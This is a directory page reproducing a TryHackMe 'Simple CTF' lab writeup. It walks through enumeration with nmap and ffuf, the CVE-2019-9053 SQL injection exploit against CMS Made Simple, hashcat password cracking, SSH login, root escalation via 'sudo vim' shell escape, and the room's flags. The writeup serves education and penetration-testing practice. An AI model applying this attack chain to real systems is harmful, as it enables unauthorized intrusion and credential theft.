Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Simple-CTF-Writeup — Professional TryHackMe Simple CTF walkthrough covering enumeration, CMS Made Simple SQL Injection (CVE-2019-9053), credential recovery, SSH access, privilege escalation via Vim, and root compromise. | Kitploit
Tools/GitHubGitHub/imperialx1104/simple-ctf-writeup
Password CrackingPrivilege EscalationReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & Education

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHubimperialx1104/simple-ctf-writeup

Simple-CTF-Writeup

Professional TryHackMe Simple CTF walkthrough covering enumeration, CMS Made Simple SQL Injection (CVE-2019-9053), credential recovery, SSH access, privilege escalation via Vim, and root compromise.

View Repository
2 months agoNot yet reviewed

Simple-CTF-Writeup

Professional TryHackMe Simple CTF walkthrough covering enumeration, CMS Made Simple SQL Injection (CVE-2019-9053), credential recovery, SSH access, privilege escalation via Vim, and root compromise.

TryHackMe - Simple CTF Writeup

A complete walkthrough of the Simple CTF room on TryHackMe, covering reconnaissance, enumeration, exploitation, credential recovery, privilege escalation, and flag capture.


Room Information

FieldValue
PlatformTryHackMe
Room NameSimple CTF
DifficultyEasy
CategoryWeb Exploitation & Linux Privilege Escalation
AuthorSaahil Gupta (ImperialX1104)

Objective

The goal of this room is to:

  • Enumerate the target machine
  • Discover hidden services and applications
  • Exploit a vulnerable CMS
  • Recover credentials
  • Gain SSH access
  • Escalate privileges to root
  • Capture both flags

Attack Overview

root@kitploit:~
Host Discovery
      │
      ▼
Port Enumeration
      │
      ▼
Directory Enumeration
      │
      ▼
CMS Discovery
      │
      ▼
Version Identification
      │
      ▼
SQL Injection (CVE-2019-9053)
      │
      ▼
Credential Extraction
      │
      ▼
Password Cracking
      │
      ▼
SSH Access
      │
      ▼
User Flag
      │
      ▼
Privilege Escalation
      │
      ▼
Root Flag

Reconnaissance

Host Discovery

The first step was verifying connectivity with the target machine.

Command

root@kitploit:~
ping 10.49.175.174

Result

The host responded successfully, confirming that it was reachable.

Screenshot

Ping Scan


Port Enumeration

A comprehensive Nmap scan was performed to identify exposed services.

Command

root@kitploit:~
nmap -A -v 10.49.175.174

Results

PortServiceVersion
21FTPvsftpd 3.0.3
80HTTPApache 2.4.18
2222SSHOpenSSH 7.2p2

Notable Findings

  • Anonymous FTP login enabled
  • Apache web server running
  • SSH exposed on port 2222
  • robots.txt file discovered

Screenshot

Nmap Enumeration


Web Enumeration

Navigating to the target web server displayed the default Apache landing page.

URL

root@kitploit:~
http://10.49.175.174

Screenshot

Apache Default Page

At this stage no obvious attack surface was visible.


Directory Enumeration

To identify hidden resources, directory brute forcing was performed using FFUF.

Command

root@kitploit:~
ffuf -u http://10.49.175.174/FUZZ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
-fc 200

Results

root@kitploit:~
simple [Status: 301]

Screenshot

FFUF Enumeration

A directory named /simple was discovered.


CMS Discovery

Browsing to the discovered directory revealed a CMS installation.

URL

root@kitploit:~
http://10.49.175.174/simple

Screenshot

CMS Made Simple

CMS Identified

root@kitploit:~
CMS Made Simple 2.2.8

The version number would later prove critical.


Vulnerability Research

The CMS version was researched using SearchSploit.

Command

root@kitploit:~
searchsploit "CMS Made Simple"

Result

root@kitploit:~
CMS Made Simple < 2.2.10 - SQL Injection

Screenshot

SearchSploit Results

A known SQL Injection vulnerability was identified.


Exploit Acquisition

The exploit was copied locally for analysis and execution.

Command

root@kitploit:~
searchsploit -m 46635

Output

root@kitploit:~
CMS Made Simple < 2.2.10 - SQL Injection
CVE-2019-9053

Screenshot

Exploit Download


Exploitation

The publicly available exploit was executed against the target CMS instance.

Command

root@kitploit:~
python3 exploit.py \
-u http://10.49.175.174/simple/ \
--crack \
-w /usr/share/wordlists/rockyou.txt

Credential Extraction

The exploit successfully extracted information from the backend database.

Output

root@kitploit:~
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: [email protected]

Screenshot

Credential Extraction

Information Recovered

ItemValue
Usernamemitch
Email[email protected]
Salt1dac0d92e9fa6bb2

Password Cracking

The extracted hash was cracked using Hashcat.

Command

root@kitploit:~
hashcat -m 20 hash.txt --show

Output

root@kitploit:~
0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2:secret

Credentials Recovered

FieldValue
Usernamemitch
Passwordsecret

Screenshot

Hashcat Password Recovery


Initial Access

The recovered credentials were tested against the SSH service.

Command

root@kitploit:~
ssh [email protected] -p 2222

Password

root@kitploit:~
secret

Result

root@kitploit:~
Welcome to Ubuntu 16.04.6 LTS

Screenshot

SSH Access

Successful authentication provided shell access as user mitch.


User Flag

After gaining access, the user flag was located in Mitch's home directory.

Commands

root@kitploit:~
whoami
cd ~
cat user.txt

Output

root@kitploit:~
G00d j0b, keep up!

Screenshot

User Flag


Privilege Escalation

Sudo Enumeration

Checking sudo permissions revealed an interesting configuration.

Command

root@kitploit:~
sudo -l

Output

root@kitploit:~
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim

Screenshot

sudo -l Output

This configuration allows the user to execute Vim with root privileges without supplying a password.


Root Access

Launching Vim as root:

root@kitploit:~
sudo vim

Because Vim was running with elevated privileges, it could be used to access files owned by root.

Screenshot

Root Access via Vim


Root Flag

The root flag was located in the root user's directory.

Command

root@kitploit:~
:! cat /root/root.txt

Output

root@kitploit:~
W3ll d0n3. You made it!

Screenshot

Root Flag


Flags Captured

User Flag

root@kitploit:~
G00d j0b, keep up!

Root Flag

root@kitploit:~
W3ll d0n3. You made it!

Attack Chain Summary

root@kitploit:~
Nmap Scan
    ↓
Web Enumeration
    ↓
Directory Discovery (/simple)
    ↓
CMS Made Simple 2.2.8
    ↓
SearchSploit Research
    ↓
CVE-2019-9053 SQL Injection
    ↓
Credential Extraction
    ↓
Hash Cracking
    ↓
SSH Login (mitch:secret)
    ↓
User Flag
    ↓
sudo -l
    ↓
Vim Privilege Escalation
    ↓
Root Flag

Lessons Learned

Enumeration Matters

The vulnerable CMS was not visible on the homepage and required directory enumeration to discover.

Version Identification Is Critical

Knowing the exact CMS version led directly to a known vulnerability.

Credential Reuse

Recovered credentials should always be tested against all available services.

Sudo Misconfigurations Are Dangerous

Allowing privileged execution of editors such as Vim can lead to full system compromise.


Tools Used

  • Nmap
  • FFUF
  • SearchSploit
  • Python
  • Hashcat
  • SSH
  • Vim

Conclusion

This room demonstrated a complete attack chain from initial enumeration to full root compromise. By combining web application enumeration, SQL injection exploitation, password cracking, and Linux privilege escalation techniques, full control of the target system was achieved.

The room serves as an excellent introduction to real-world penetration testing methodology and highlights the importance of proper software patching, credential security, and least-privilege access controls.


Author

Saahil Gupta (ImperialX1104)

  • GitHub: https://github.com/ImperialX1104
  • TryHackMe: ImperialX

⭐ If you found this writeup useful, consider starring the repository and connecting with me on GitHub.

Download Tool